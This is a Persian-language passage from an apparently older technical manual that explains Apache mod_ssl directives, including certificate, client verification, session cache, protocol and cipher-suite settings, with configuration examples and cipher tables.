Config outside <Directory> or <Location> blocks 

Available in Apache v 1.3, v2 

اگر كليد با يك گواهي تركيب نشده باشد،        . كند  مشخص مي گواهي شما را    وصي  اين ديركتيو كليد خص   
ير را به صـورت     شود، مس   شروع مي / اگر نام فايل با     . از اين ديركتيو براي اشاره به فايل كليد استفاده كنيد         

                                                 
32 distinguished encoding rules  
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فــرض گــواهي كــه معمــولا  نــسبت بــه ناحيــه پــيشمطلــق مــشخص مــي كنــد، در غيــر ايــن صــورت  
usr/local/ssl/private / يا<wherever you told ssl to install>/private شود دهي مي است، آدرس.  

  مثالها
SSLCertificateKeyFile /usr/local/apache/certs/my.server.key.pem 
SSLCertificateKeyFile certs/my.server.key.pem 

هـاي مختلـف كـارگزار در         توان اين ديركتيو را دو مرتبه براي مشخص كردن گـواهي             مي v2در آپاچي   
  . استفاده كردبه صورت موازي،  DSA و RSAمبتني بر 

  

SSLVerifyClient   

 

SSLVerifyClient level 

Default: 0 

Server config, virtual host, directory, .htaccess 

Available in Apache v 1.3, v2 

در حالـت اول فرآينـد      . اسـتفاده شـود   تواند هـم بـه ازاي كـارگزار يـا بـه ازاي شـاخه                  يركتيو مي اين د 
مـذاكره مجـدد را پـس از        در حالـت دوم     . كنـد   كنترل مي شناسي كاربر را در هنگام برقراري اتصال          هويت

گزاران  ايـن ديركتيـو آنچـه كـه از كـار     . كند اجبار مي و قبل از ارسال پاسخ  HTTPSدريافت درخواست 
  :شود  مشخص ميهكليد واژ با v2 با عدد و در آپاچي v1.3در آپاچي . كند رود را مشخص مي انتظار مي

  'none' يا 0
  .گواهي مورد نياز نيست  

  'optional' يا 1
  . گواهي معتبر ارائه كندممكن استكارفرما   

   'require' يا 2
  . گواهي معتبر ارائه كندبايدكارفرما   

  'optional_no_ca' يا 3
كـه  ( گواهي معتبر ارائه كند، ولي لازم نيست كه از سوي يـك مركـز معتبـر                  ممكن است كارفرما    

  .تأييد شده باشد) كند كارگزار يك گواهي از آن نگهداري مي
    

  .مفيد هستند 2 و 0در عمل بيشتر سطوح 
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SSLVerifyDepth   

 

SSLVerifyDepth depth 

Server config, virtual host 

Default (v2) 1 

Available in Apache v 1.3, v2 

 هـم منـوط بـه       CAممكن است كه اعتبار آن      شود،     تأييد مي  CAدر عمل يك گواهي كه از طرف يك         
طـول ايـن زنجيـر را    حـداكثر  ايـن ديركتيـو     .  ديگر باشد و همين طور تا يك گواهي ريشه         CAاعتبار يك   

اتـر رفـتن از طـول مـشخص شـده توسـط ديركتيـو               العمل كـارگزار در صـورت فر        عكس. كند  مشخص مي 
SSLVerifyClient  معمولاً به گواهي هايي كه توسط       . شود   مشخص ميCA       هاي مورد اعتماد شما تأييـد 

  . است1فرض طول آن برابر  اند اعتماد داريد، بنابراين به طور پيش شده
 

SSLPassPhraseDialog   

 

SSLPassPhraseDialog type 

Default: builtin 

Server config 

Apache v2 only 

هنگام آغاز به كار آپاچي بايد چندين فايل گواهي و كليد خصوصي مربوط بـه كارگزارهـاي مجـازي را                    
فايلهـاي كليـد   ). مراجعه كنيد SSLCertificateKeyFile و SSLCertificateFileبه ديركتيوهاي  (بخواند  

. ي نياز به پرسيدن گذرواژه رمزگـشايي ايـن فايلهـا دارد           خصوصي معمولا رمز شده هستند و بنابراين آپاچ       
  :شود  مشخص ميtypeتواند به دو روش انجام شود كه با  اين پرسش مي
builtin  

راهبـر  . كنـد   از يك ديالوگ تعاملي در هنگام آغاز به كار اسـتفاده مـي            فرض است و      اين مقدار پيش  
جايي كه ممكن است از يك گذرواژه يكسان بـراي          از آن  . رمز شده را وارد كند    گذرواژه هر فايل    بايد  

قبلي براي فايلهـايي كـه بـاز    قبل از پرسيدن، گذرواژه شود  همه فايلها استفاده شده باشد، سعي مي     
  .امتحان شوداند،  نشده

exec:/path/to/program 

. شـود  شود كه براي هر فايل رمز شده كليد خصوصي فراخـواني مـي    يك برنامه خارجي مشخص مي    
 يـا   RSA و دومـي     servername:portnumberاولـي   ( شـود     ين برنامه با دو آرگومان فراخواني مي      ا
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DSA سـپس ايـن برنامـه بايـد         .كننـد   ، كه كارگزار و الگوريتم مورد استفاده را مشخص مـي          ) است 
م هاي امنيتي را انجا     بررسيابتدا  ايده اصلي آن است كه اين برنامه        .  چاپ كند  stdoutگذرواژه را در    

آميـز    هـا موفقيـت      ايـن بررسـي    اگر. تا مطمئن شود كه نفوذگري به سيستم حمله نكرده باشد         داده  
امتحان فايلهاي باز نشده كليد خصوصي      هر گذرواژه بر روي     . كند  گذرواژه مقتضي را ارائه مي    بودند،  

  .شوند مي
  

  مثال
SSLPassPhraseDialog exec:/usr/local/apache/sbin/pp-filter 

 

SSLMutex  
  

 

SSLMutex type 

Default: none BUT SEE WARNING BELOW! 

Server config 

Apache v2 only 

اعمال بين  كند كه براي همگام سازي         را پيكربندي مي   SSL) يا قفل چند كاربره   (اين ديركتيو سمافور    
كـارگزار  بنـدي  ايـن ديركتيـو تنهـا در بخـش سراسـري پيكر      . شـود   استفاده مي  آپاچيهاي مختلف     پردازه

توانـد اسـتفاده      ها يا كارگزارهاي مجـازي نمـي        يعني در پيكربندي مربوط به شاخه     (تواند استفاده شود      مي
  ..)شود

  :عبارتند ازسمافور انواع مختلف 
none  

از آنجا كـه از ايـن       . به معني آن است كه اصلا از قفلي استفاده نشود         است كه   فرض   اين مقدار پيش  
شود، عدم اسـتفاده    استفاده ميSSLذخيره گاه نهاني نشستهاي    نوشتن در   ي  براي همگام ساز   قفل

شود از ايـن     توصيه مي بنابراين  . از قفل ممكن است باعث خراب شدن مقادير ذخيره گاه نهاني شود           
  . استفاده نكنيدگزينه

file:/path/to/mutex  
هميـشه از سيـستم فايـل       . استفاده كنيد  مشخص كردن يك فايل به عنوان قفل         از اين گزينه براي   

به  AFS يا   NFSفايل سيستم   استفاده كنيد و هيچ گاه فايلي را روي          path/to/mutex/محلي براي   
بنـابراين  . شـود   پردازه اصلي آپاچي به نام فايل الحـاق مـي          PIDهميشه  . اين منظور استفاده نكنيد   

   .لازم نيست نگران منحصر بودن نام فايل باشيد
sem  
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 حتمـا   Win32در  . توانـد اسـتفاده شـود         وجود دارد مي    SysVر كه در يونيكسهاي     يك قفل سمافو  
  .بايد از اين گزينه استفاده شود

  مثال
SSLMutex file:/usr/local/apache/logs/ssl_mutex 
 

SSLRandomSeed   

 

SSLRandomSeed context source [bytes] 

Apache v2 only 

 در هنگـام    OpenSSL در   PRNGا دو منبع براي مقـداردهي اوليـه         اين ديركتيو براي پيكربندي يك ي     
 SSL  يا دقيقاً قبل از برقراري يك اتصال جديـد            )باشد 'startup'برابر   contextاگر مقدار   (آغاز به كار    

ايـن ديركتيـو تنهـا در پيكربنـدي سراسـري            .درو   به كار مي   )باشد 'connect'برابر   contextاگر مقدار   (
  .واند استفاده شودت كارگزار مي

ع داخلي براي مقداردهي اوليـه  دهنده استفاده از منب نشان   source براي   builtinمشخص كردن مقدار    
  سـاختار  ك كه به طور تصادفي از ي ـKB 1مقدار است كه عبارتست از زمان فعلي، شناسه پردازه فعلي، و 

ك منبع چنـدان مناسـبي نيـست، و در           با اين حال اين ي     . انتخاب شده است   (scoreboard)داخلي آپاچي   
  .كند آنتروپي كمي توليد مي)  در دسترس نيستscoreboardكه ( هنگام آغاز به كار 

منابع بيـشتري بـه شـكل زيـر         مقداردهي نماييد؛ بايد از     بنابراين اگر مي خواهيد در هنگام آغاز به كار          
  :استفاده نماييد

 file:/path/to/source 

 .كنـد   استفاده مي  PRNG به عنوان منبع اوليه مقداردهي        path/to/source/جي  اين روش از فايل خار    
در صـورت  . گيرنـد  فايل مورد استفاده قرار مـي اول  هايشود، تنها بايت   هنگامي كه تعداد بايتها مشخص مي     

 path/to/source/ بـه عنـوان آرگومـان اول    0 و (شـود   از كل فايل استفاده ميمشخص نكردن تعداد بايتها 
يـا   dev/random/به مثال از    .  استفاده كنيد  در هنگام آغاز به كار    به ويژه   از اين روش    . ). شود  مشخص مي 

/dev/urandomاستفاده كنيد .  
ممكن است بهتر باشد، زيرا در خواندن از آن هيچگاه بلوكـه شـدن پـيش                 dev/urandom/  از    استفاده

  . اعداد تصادفي توليد شده استكيفيت dev/random/عيب آن در مقايسه با . آيد نمي
  مثالها

SSLRandomSeed startup builtin 
SSLRandomSeed startup file:/dev/random 
SSLRandomSeed startup file:/dev/urandom 1024 
SSLRandomSeed startup exec:/usr/local/bin/truerand 16 
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SSLRandomSeed connect builtin 
SSLRandomSeed connect file:/dev/random 
SSLRandomSeed connect file:/dev/urandom 1024 

SSLSessionCache   

 

SSLSessionCache type 

SSLSessionCache none 

Server config 

Apache v2 only 

از اين ذخيره گاه مي تـوان بـراي         .  است SSLاين ديركتيو براي پيكربندي ذخيره گاه نهاني نشستهاي         
ماننـد  (در مرورگرهـاي جديـد چنـدين شـيء          . پردازش موازي درخواستها استفاده كـرد     عت  بالا بردن سر  

مختلفـي  هـاي     ايـن درخواسـتها توسـط پـردازه       . شـوند   به طور همزمان درخواست مي    ) تصاوير يك صفحه  
  .كند ها فراهم مي گاه راهكاري براي ارتباط بين اين پردازه اين ذخيره. شوند پردازش مي

  :قابل استفاده عبارتند ازهاي  انواع گزينه
none  

  .  را غير فعال مي كندSSLمقدار پيش فرض است و ذخيره گاه نهاني نشستهاي 
dbm:/path/to/datafile  

. كند  مي استفادهگاههاي محلي  ذخيره را روي ديسك محلي براي همگام كردن       DBM  33از فايل درهم  
شـود،    مرورگرها مـي  ر محسوسي در افزايش سرعت      ي، موجب تغي   در كارگزار  I/Oافزايش ناچيز   اين روش با    

  .شود بنابراين اين روش توصيه مي
shm:/path/to/datafile [(size)]  

برپـا شـده توسـط      ( RAMدر  درون يك حافظـه مـشترك       روش از يك جدول درهم با كارايي بالا         اين  
/path/to/datafile( دكن گاه نهاني هر پردازه استفاده مي براي همگام كردن ذخيره.  

   مثالها
SSLSessionCache dbm:/usr/local/apache/logs/ssl_gcache_data 
SSLSessionCache shm:/usr/local/apache/logs/ssl_gcache_data(512000) 

 

SSLEngine 
  

 

SSLEngine on|offSSL 

Engine off 

                                                 
33 Hash file  
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Server config, virtual host 

 و SSLEnableشود، كـه معـادل     مي  استفادهSSLل كردن از اين ديركتيو براي فعال كردن يا غير فعا 
SSLDisable براي فعال يا غيرفعال كـردن  ميزبان مجازيمعمولا از آن در بخش . شدبا   مي SSL  اسـتفاده 

براي كارگزار اصلي و تمام كارگزارهـاي مجـازي پيكربنـدي شـده              SSL/TLSفرض   به طور پيش  . ودش  مي
  . غيرفعال است

  مثال
<VirtualHost _default_:443> 
SSLEngine on 
... 
</VirtualHost> 
 

SSLProtocol   

SSLProtocol [+-]protocol ... 

Default: SSLProtocol all 

Server config, virtual host 

Apache v2 only 

 
 

نتـرل  ها در برقـراري ارتبـاط اسـتفاده كننـد، ك           از آن  ندتوان  ميكارفرماها  كه  را   پروتكلهايي   اين ديركتيو 
  : پروتكلهاي قابل استفاده عبارتند از.كند مي

SSLv2  
  . طراحي شده استNetscape Navigation نسخه دوم است كه توسط SSLپروتكل 

SSLv3  
 1999ايـن پروتكـل از سـال    .  اسـت SSLv2 كـه نـسخه  بعـدي     نسخه سوم اسـت SSLپروتكل  

  .مرورگرها استاستاندارد معمول در 
TLSv1  

 است كه جديدترين نسخه بهبود يافتـه  1.0، نسخه Terasport Layer Security (TLS)پروتكل   
SSL و تاييد شده توسط IETFاست .  

ALL  
مناسب براي فعال كـردن تمـام   است و  "SSLv2 +SSLv3 +TLSv1+"در واقع جايگزين كوتاه   
  .استشوند،   استثنا مي-به جز مواردي كه با علامت پروتكلها 
  مثال

#   enable SSLv3 and TLSv1, but not SSLv2 
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SSLProtocol all -SSLv2 

SSLCertificateChainFile   

 
SSLCertificateChainFile filename 
Server config, virtual host 
Apache v2 only 

توان به سادگي   در اين فايل مي   . كند   ها را مشخص مي    CAهاي    زنجيره گواهي فايل حاوي   اين ديركتيو   
   . اول تا گواهي ريشه به دنبال هم قرار دادCAا را از گواهي ه تمام گواهي

بـراي تـشكيل زنجيـره     SSLCACertificatePathبه صورت همراه يـا جـايگزين    تواند     اين ديركتيو مي  
  . شود، استفاده شود كه به كارفرما فرستاده ميگواهي كارگزار 

  

 

 يـا   RSAيـا مبتنـي بـر       (يك گـواهي كـارگزار      ند كه از    ك  زنجيره گواهي تنها هنگامي كار مي     
 استفاده كنيـد، تنهـا در       RSA+DSA اگر از يك زوج گواهي       .استفاده كنيد ) DSAمبتني بر   

  .گواهي استفاده كنندصورتي كار خواهد كرد كه هر دو گواهي از يك زنجيره 

  مثال
SSLCertificateChainFile /usr/local/apache/conf/ssl.crt/ca.crt 
 

SSLCACertificatePath   

 
SSLCACertificatePath directory 
Server config, virtual host 
Apache v2 only 

 

شـوند، را مـشخص        هاي مربوط به كارفرما ها نگهـداري مـي         CAهاي    اي كه گواهي    اين ديركتيو شاخه  
  .ت شناسي كاربرد دارندهنگام هويهاي كاربر در  ها در اعتبار سنجي گواهي  اين گواهي.كند مي

شوند و از طريق نام فايلهاي درهم قابل دسترسـي            نگهداري مي در اين شاخه     PEMاين فايلها در قالب     
بـه  بـه ايـن فايـل        34ميانبربنابراين نبايد تنها فقط فايلها را در اين شاخه كپي كرد، بلكه بايد يك               . هستند
شود، اين كار را       عرضه مي  OpenSSLكه همراه    tools/c_rehashابزار  . ايجاد كرد  hash_value.Nصورت  

  .دهد انجام مي
  مثال

SSLCACertificatePath /usr/local/apache/conf/ssl.crt/ 
 

                                                 
34 Symbolic link  
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SSLCARevocationPath   

 
SSLCARevocationPath directory 
Server config, virtual host 
Apache v2 only 

كنيـد را مـشخص        را نگهـداري مـي     (CRL)ال گـواهي    هـاي ابط ـ    اي كه شما ليست     ديركتيو شاخه اين  
  .شود شناسي كاربر استفاده مي در هنگام هويتهاي كاربران  اين ليستها براي ابطال گواهي. كند مي

بـراي ايـن كـار      . درهم قابل دسترس باشـند     نام فايلهاي    از طريق  بوده و    PEMاين فايلها بايد در قالب      
 كـه همـراه   Makefileاز . به اين فايلها در اين شاخه ايجـاد كنيـد    hash-value.rNميانبرهايي به صورت 

mod_ssl وجود دارد استفاده نماييد.  
  مثال

SSLCARevocationPath /usr/local/apache/conf/ssl.crl/ 
 

SSLCARevocationFile   

 
SSLCARevocationFile filename 
Server config, virtual host 
Apache v2 only 

اين فايل بـا الحـاق      . كند   است را مشخص مي    ابطال ليستهاي گواهي فايلي كه شامل همه     ركتيو  اين دي 
ــت مــي     ــستهاي ابطــال درس ــام لي ــود تم ــو مــي  . ش ــه جــاي       ايــن ديركتي ــراه يــا ب ــد بــه هم توان

SSLCARevocationPathاستفاده شود .  

  مثال
SSLCARevocationFile /usr/local/apache/conf/ssl.crl/ca-bundle-client.crl 

 
SSLLog   

 
SSLLog filename 
Server config, virtual host 
Apache v2 only 

 شـروع   "/" اگر نام فايل با      .رود   به كار مي   SSLنام فايل رويدادنگاري    براي مشخص كردن    اين ديركتيو   
آنگاه فـرض    شروع شود،    "|"اگر نام فايل با نويسه      . شود  فرض مي  ServerRootمسير فايل نسبت به     نشود،  

به برنامه منتقـل    لوله  رويدادها از طريق يك     كند كه      را مشخص مي    برنامه اجرايي  شود كه ديركتيو يك     مي
  . شوند مي
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SSLLogLevel   

 
SSLLogLevel level 
Default: SSLLogLevel none 
Server config, virtual host 

توانـد    مـي  level. كنـد   شود را مشخص مـي      رويداد نگاري يا در واقع ميزان اطلاعاتي كه ثبت مي         سطح  
  :يكي از سطوح زير باشد

none   
  SSL   البته رويدادهاي سطح    .  رويدادنگاري مجزا نداردerror   فايل رويدادنگاري عمومي آپـاچي      در

  .شود نوشته مي
error  
 هنگام بـروز ايـن خطاهـا اجـراي پـردازه            .شوند  ثبت مي  )مشكلات وخيم  (رويدادهاي از نوع خطا     

  .شوند اين رويدادها در فايل رويدادنگاري عمومي آپاچي هم منعكس مي. شود وقف ميمت
warn  
  .شوند غير وخيم هستند، ثبت ميمشكلات كه رويدادهاي از سطح هشدار   
info  
  .شوند ثبت ميپردازش پيامهاي حاوي اطلاعاتي درباره روند   

debug  
  .كند  ثبت مياشكال زدايي را پيامهاي   

  

SSLOptions   

 
SSLOptions [+-]option ... 
Server config, virtual host, directory, .htaccess 
Apache v2 only 

معمـولا اگـر    . بـه كـار رود    و در سـطح شـاخه        اجـرا     زمان هاي  گزينهبراي كنترل   تواند    اين ديركتيو مي  
به طـور كامـل در نظـر        ا  ترين آنه   براي يك شاخه قابل اعمال باشند، خاص       SSLOptionsديركتيو  چندين  

با علامتهاي   SSLOptionsهاي    تمام گزينه با اين حال ارگ     . شوند  در هم ادغام نمي   ها    گزينهگرفته شده و    
هـاي قابـل اعمـال        به گزينه + هر گزينه همراه     .شوند  ها ادغام مي    گزينههمراه باشند،   ) -(يا منها   (+) جمع  

  .شود ا حذف مي از آنه–فعلي اضافه شده، و هر گزينه همراه 
  :هاي قابل استفاده عبارتند از گزينه

StdEnvVars  
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ايجـاد   SSLمـرتبط بـا     اي استاندارد از متغيرهاي محيطي        هنگام فعال شدن اين گزينه، مجموعه       
  . اين گزينه غير فعال استبراي افزايش كارايي فرض  به طور پيش. شوند مي

CompatEnvVars  
هـاي ديگـر      يرهـاي محيطـي بيـشتري بـراي سـازگاري نـسخه           متغهنگام فعال شدن اين گزينه،        

Apache SSL در اسـناد آپـاچي مراجعـه نماييـد     براي جزئيات بيشتر به بخش سازگاري . شوند ايجاد مي 
)lhtm.compat_ssl/ssl/2.0-docs/org.apache.httpd://http(. 

 ExportCertData  
: شـــوند ايجـــاد مـــيبيـــشتري  متغيرهـــاي محيطـــي هنگـــام فعـــال شـــدن ايـــن گزينـــه،   

SSL_SERVER_CERT ،SSL_CLIENT_CERT و SSL_CLIENT_CERT_CHAINn)  ــا ــه )…,n=0,1,2ب  ك
هـا   گـواهي تـر     بررسـي عميـق    هـستند و بـراي       httpsهاي كارگزار و كارفرماي اتـصال فعلـي           گواهيشامل  

  .د استفاده شوندتوانن مي
FakeBasicAuth  

ديركتيوهـاي قـديمي     هماننـد    دهـد     اجـازه مـي     35مـدير وب  اثر اين ديركتيـو آن اسـت كـه بـه              
 Subject Distinguished فيلـد  با فعال شدن ايـن گزينـه   . كنترل دسترسي را انجام دهدشناسي،  هويت

Name  يا DN  گواهيX.509  هويت شناسي پايه نام كاربري بهHTTP دقيقاً نام كاربري . شود رجمه ميت
  :تعيين استگواهي است كه با دستور زير قابل  Client Subjectفيلد 

openssl x509 -noout -subject -in certificate.crt 

  . كاربر داراي گواهي است، لازم به گرفتن گذرواژه از كاربر نيستاز آنجا كه 
  

StrictRequire  
دسترسـي   دسترسي را منع نمايند،  SSLRequire يا   SSLRequireSSLهنگامي كه   اين ديركتيو     

بـا  شود كـه   رود و باعث مي  به كار مي"Satisfy any"ديركتيو به طور پيش فرض . كند را كاملاً ممنوع مي
 ). استSatisfyاين امر به علت چگونگي كار مكانيزم        (دسترسي مجاز شود    كردن در يكي از شرطها،      صدق  

ــتفاده از   ــا اســـ ــي بـــ ــب ولـــ ــا / وSSLRequireSSL تركيـــ ــا   SSLRequireيـــ ــه بـــ   گزينـــ
"SSLOptions +StrictRequire"  دشو گيرانه مي سختدسترسي . 

  
OptRenegotiate  

 در SSLهنگامي كـه ديركتيوهـاي   را  SSLبرقراري بهينه اتصال مذاكره مجدد براي اين ديركتيو     
  . ندك اند، فعال مي ا استفاده شدهه شاخه

                                                 
35 webmaster  
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  مثال
SSLOptions +FakeBasicAuth -StrictRequire 
<Files ~ "\.(cgi|shtml)$"> 
    SSLOptions +StdEnvVars +CompatEnvVars -ExportCertData 
<Files> 

 

SSLRequireSSL   

 
SSLRequireSSL 
directory, .htaccess 
Apache v2 only 

  . ندك  را ممنوع ميHTTPSاين ديركتيو هر گونه دسترسي به جز از طريق 

SSLRequire   

 
SSLRequire expression 
directory, .htaccess 
Override: AuthConfig 
Apache v2 only 

 ايـن ديركتيـو يـك ديركتيـو    . كنـد  مشروط به برآورده شدن يـك شـرط مـي   دسترسي را اين ديركتيو  
شـرطهاي  د از پيچيـده حـاوي هـر تعـدا     پذير است كه اجـازه تعريـف عبـارات منطقـي              قدرتمند و انعطاف  

 BNFنحو زير بـه صـورت       (صدق كند   نحو زير    بايد در    (expression)عبارت شرطي   . دهد  دسترسي را مي  
 html.bnf/bnf/pjj~/uk.ac.man.cs.www://http بــه BNFآورده شـده كــه بــراي اطـلاع بيــشتر دربــاره   

  ):دمراجعه نمايي
expr     ::= "true" | "false" 
           | "!" expr 
           | expr "&&" expr 
           | expr "||" expr 
           | "(" expr ")" 
           | comp 
 
comp     ::= word "==" word | word "eq" word 
           | word "!=" word | word "ne" word 
           | word "<"  word | word "lt" word 
           | word "<=" word | word "le" word 
           | word ">"  word | word "gt" word 
           | word ">=" word | word "ge" word 
           | word "in" "{" wordlist "}" 
           | word "=~" regex 
           | word "!~" regex 
 
wordlist ::= word 
           | wordlist "," word 
 
word     ::= digit 
           | cstring 
           | variable 
           | function 
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digit    ::= [0-9]+ 
cstring  ::= "..." 
variable ::= "%{" varname "}" 
function ::= funcname "(" funcargs ")" 

  
  : و آپاچي به صورت زير باشدCGIتواند هر يك از متغيرهاي استاندارد  مي varnameكه 

HTTP_USER_AGENT PATH_INFO AUTH_TYPE 
HTTP_REFERER QUERY_STRING SERVER_SOFTWARE 
HTTP_COOKIE REMOTE_HOST API_VERSION 
HTTP_FORWARDED REMOTE_IDENT TIME_YEAR 
HTTP_HOST IS_SUBREQ TIME_MON 
HTTP_PROXY_CONNECTION DOCUMENT_ROOT TIME_DAY 
HTTP_ACCEPT SERVER_ADMIN TIME_HOUR 
HTTP:headername SERVER_NAME TIME_MIN 
THE_REQUEST SERVER_PORT TIME_SEC 
REQUEST_METHOD SERVER_PROTOCOL TIME_WDAY 
REQUEST_SCHEME REMOTE_ADDR TIME 
REQUEST_URI REMOTE_USER ENV:variablename 
REQUEST_FILENAME     

   
  : زير باشدSSLمرتبط با هاي  تواند هر يك از متغير و همچنين مي

HTTPS SSL_CLIENT_M_VERSION SSL_SERVER_M_VERSION 
SSL_CLIENT_M_SERIAL SSL_SERVER_M_SERIAL SSL_PROTOCOL 
SSL_CLIENT_V_START SSL_SERVER_V_START SSL_SESSION_ID 
SSL_CLIENT_V_END SSL_SERVER_V_END SSL_CIPHER 
SSL_CLIENT_S_DN SSL_SERVER_S_DN SSL_CIPHER_EXPORT 
SSL_CLIENT_S_DN_C SSL_SERVER_S_DN_C SSL_CIPHER_ALGKEYSIZE 
SSL_CLIENT_S_DN_ST SSL_SERVER_S_DN_ST SSL_CIPHER_USEKEYSIZE 
SSL_CLIENT_S_DN_L SSL_SERVER_S_DN_L SSL_VERSION_LIBRARY 
SSL_CLIENT_S_DN_O SSL_SERVER_S_DN_O SSL_VERSION_INTERFACE 
SSL_CLIENT_S_DN_OU SSL_SERVER_S_DN_OU SSL_CLIENT_S_DN_CN 
SSL_SERVER_S_DN_CN SSL_CLIENT_S_DN_T SSL_SERVER_S_DN_T 
SSL_CLIENT_S_DN_I SSL_SERVER_S_DN_I SSL_CLIENT_S_DN_G 
SSL_SERVER_S_DN_G SSL_CLIENT_S_DN_S SSL_SERVER_S_DN_S 
SSL_CLIENT_S_DN_D SSL_SERVER_S_DN_D SSL_CLIENT_S_DN_UID 
SSL_SERVER_S_DN_UID     

  
  : استدر دسترس تابع زير funcnameو بالاخره براي 

file ( filename ) 

ايـن تـابع بـه خـصوص     . دده يل گسترش مييرد و به محتواي فاگ مياي را  اين تابع يك آرگومان رشته 
  .مفيد استبا يك عبارت منظم براي مقايسه محتواي فايل 

. شـود    شده و سپس محاسبه مـي      تجزيهماشين  داخلي  ت  ابه يك عبار   expressionتوجه كنيد كه ابتدا     
ا اجـرا تجزيـه شـده و در هنگـام اجـرا تنه ـ            در شروع    expressionدر بخش سراسري و بخش هر كارگزار،        

  .دشو به ازاي هر درخواست تجزيه و محاسبه مي expression، شاخهبخش پيكربندي در . شود محاسبه مي
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SSLRequire (    %{SSL_CIPHER} !~ m/^(EXP|NULL)-/ \ 
            and %{SSL_CLIENT_S_DN_O} eq "Snake Oil, Ltd." \ 
            and %{SSL_CLIENT_S_DN_OU} in {"Staff", "CA", "Dev"} \ 
            and %{TIME_WDAY} >= 1 and %{TIME_WDAY} <= 5 \ 
            and %{TIME_HOUR} >= 8 and %{TIME_HOUR} <= 20       ) \ 
           or %{REMOTE_ADDR} =~ m/^192\.76\.162\.[0-9]+$/ 

 

سـازمان بايـد     صادراتي باشـد،  تهي يا   نبايد  رمز   :اين عبارت به زبان طبيعي، به معني آن است كه بايد          
تـاريخ و   بـوده،  "DEV" يـا  "Staff" ،"CA"واحد سازماني بايد برابر يكـي از  و  " .Snake Oil, Ltd"برابر 

 .192.76.162كارفرمـا از آدرس  د، يا   بعدازظهر باش  6 صبح و    8دوشنبه و جمعه بين ساعت      زمان بايد بين    
  .متصل شده باشد

  هاي رمزنگاري بسته 9-3
از تعـدادي    SSL .كند  رمزنگاري نمي سري روش   يك   كارفرماها و كارگزارها را محدود به        SSLوتكل  پر

دهد كه البتـه برخـي روشـها بهتـر از ديگـر روشـها عمـل                   ما قرار مي  اي رمزنگاري در اختيار       روشهاي پايه 
  .  آمده است ssl/ssl.h/ … در فايل OpenSSLافزار  موجود در نرمهاي رمزنگاري  بستهفهرست . كنند مي

  . شوند  شرح داده مي2ديركتيوهاي موجود در آپاچي نسخه در ادامه ليست 
  

SSLCipherSuite   

 
SSLCipherSuite cipher-spec 
Default: SSLCipherSuite 
ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP 
Server config, virtual host, directory, .htaccess 
Override: AuthConfig 
Apache v2 0nly 

به جز مواردي كه مدير وب حساسيت زيادي نسبت به امنيت داشته باشد، اين ديركتيو قابـل اغمـاض                   
  .است

هـاي   بـسته نـد را گرفتـه تـا    ا  هم جـدا شـده      كه با كاما از    cipher-specهاي    رشتهاين ديركتيو پيچيده    
پيكربندي كـارگزار    اين ديركتيو در هر دو بخش        .شخص كند مكارفرما  گام مذاكره با    در  را  مجاز  رمزنگاري  

هنگام دسترسي به آن    در صورتي كه براي پيكربندي يك شاخه استفاده شود،          . قابل استفاده است  و شاخه   
  .شاخه بايد مذاكره مجدد انجام شود

اي ه ـ نشان. عمده و تعدادي بخشهاي جزيي دارد      چهار بخش    cipher-spec در   SSLرمزنگاري  توصيف  
، در جـدول    هلمـن اسـت   - و ديفي  RSAهاي مختلف     شامل نسخه تبادل كليد، كه    الگوريتم  كننده    مشخص

  .اند  آورده شده 7-2
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 الگوريتمهاي توزيع كليد. 2-7جدول 

  شرح  (Tag)نشان 
kRSA   تبادل كليدRSA  
KDHr كليد هلمن با -تبادل كليد ديفيRSA  
kDHd  هلمن-هلمن با كليد ديفي-تبادل كليد ديفي  
kEDH بدون گواهي(هلمن -تبادل كليد موقت ديفي(  

  
 آورده  3-7در جـدول     DSSو  هلمـن   -ديفـي ،  RSAكه شامل   شناسي    هويتالگوريتم   مؤلفههاي    نشان

  .اند شده
  شناسي الگوريتمهاي هويت. 3-7جدول 

  شرح  (Tag)نشان 
aNull شناسي بدون هويت  
aRSA شناسي  هويتRSA  
aDSS  هويت شناسيDSS  
aDH هلمن-شناسي ديفي هويت  

  
  .اند شده  آورده4-7كننده مؤلفه الگوريتم رمزگذاري در جدول  هاي مشخص نشان

  رمزگذاريالگوريتمهاي . 4-7جدول 

  شرح  (Tag)نشان 
eNull بدون رمزنگاري  
DES  رمزنگاريDES 
3DES  3رمزنگاريDES 
RC4  رمزنگاريRC4  
RC2  رمزنگاريRC2 
IDEA رمزنگاري IDEA 

  
  .اند شده  آورده5-7 در جدول (MAC)كننده مؤلفه الگوريتم چكيده پيام  هاي مشخص نشان
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 MACالگوريتمهاي . 5-7جدول 

  شرح  (Tag)نشان 
MD5 سازي  تابع درهمMD5 
SHA1 سازي  تابع درهمSHA1  
SHA سازي  تابع درهمSHA  

  
  نگاري رمز نامهاي مستعار-6-7جدول 

  شرح  (Tag)نشان 
SSLv2  تمامي رمزهايSSL 2.0 نسخه 
SSLv3  تمامي رمزهايSSL 3.0 نسخه  
TLSv1  تمامي رمزهايTLS 1.0 نسخه 
EXP تمامي رمزهاي صادراتي  
EXPORT40  بيتي40فقط رمزهاي صادراتي   
EXPORT56  بيتي56تمامي رمزهاي صادراتي   
LOW  غير صادراتي، (كم م استحكبا اتمامي رمزهايDESتكي (  
MEDIUM  بيتي 128تمامي رمزهاي  
HIGH 3هاي رمز كه از  تمامي بستهDESكنند  استفاده مي.  
RSA هاي رمز كه از تبادل كليد  تمامي بستهRSAكنند  استفاده مي.  
DH كنند هلمن استفاده مي-هاي رمز كه از تبادل كليد ديفي تمامي بسته.  
EDH با كليد موقت هلمن -هاي رمز كه از تبادل كليد ديفي تمامي بسته(Ephemeral) كنند استفاده مي.  
ADH هلمن گمنام -هاي رمز كه از تبادل كليد ديفي تمامي بسته(Anonymous) كنند استفاده مي.  
DSS هاي رمز كه از هويت شناسي  تمامي بستهDSSنندك  استفاده مي.  
NULL ي رمز بدون رمزنگاريها تمامي بسته  

  
 پيـشوندها   . را تـشكيل دهنـد     cipher-specبا هم تركيب شـده و       د با پيشوندهايي    واننت  ا مي ه  اين نشان 

  :عبارتند از

none   
  .ندك رمز را به ليست اضافه مي  

+  
  .كند آنها را تا محل فعلي در ليست جابجا ميند و ك رمز را به ليست اضافه مي  

-  
  ).بعداً قابل اضافه كردن است(رمز را از ليست حذف مي كند   
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!  
  ).بعداً قابل اضافه كردن نيست(د كن ز را كاملاً از ليست حذف ميرم  

  : استopenssl ciphers –vليست نهايي استفاده از دستور يك راه ساده براي مشاهده 
$ openssl ciphers -v 'ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP' 
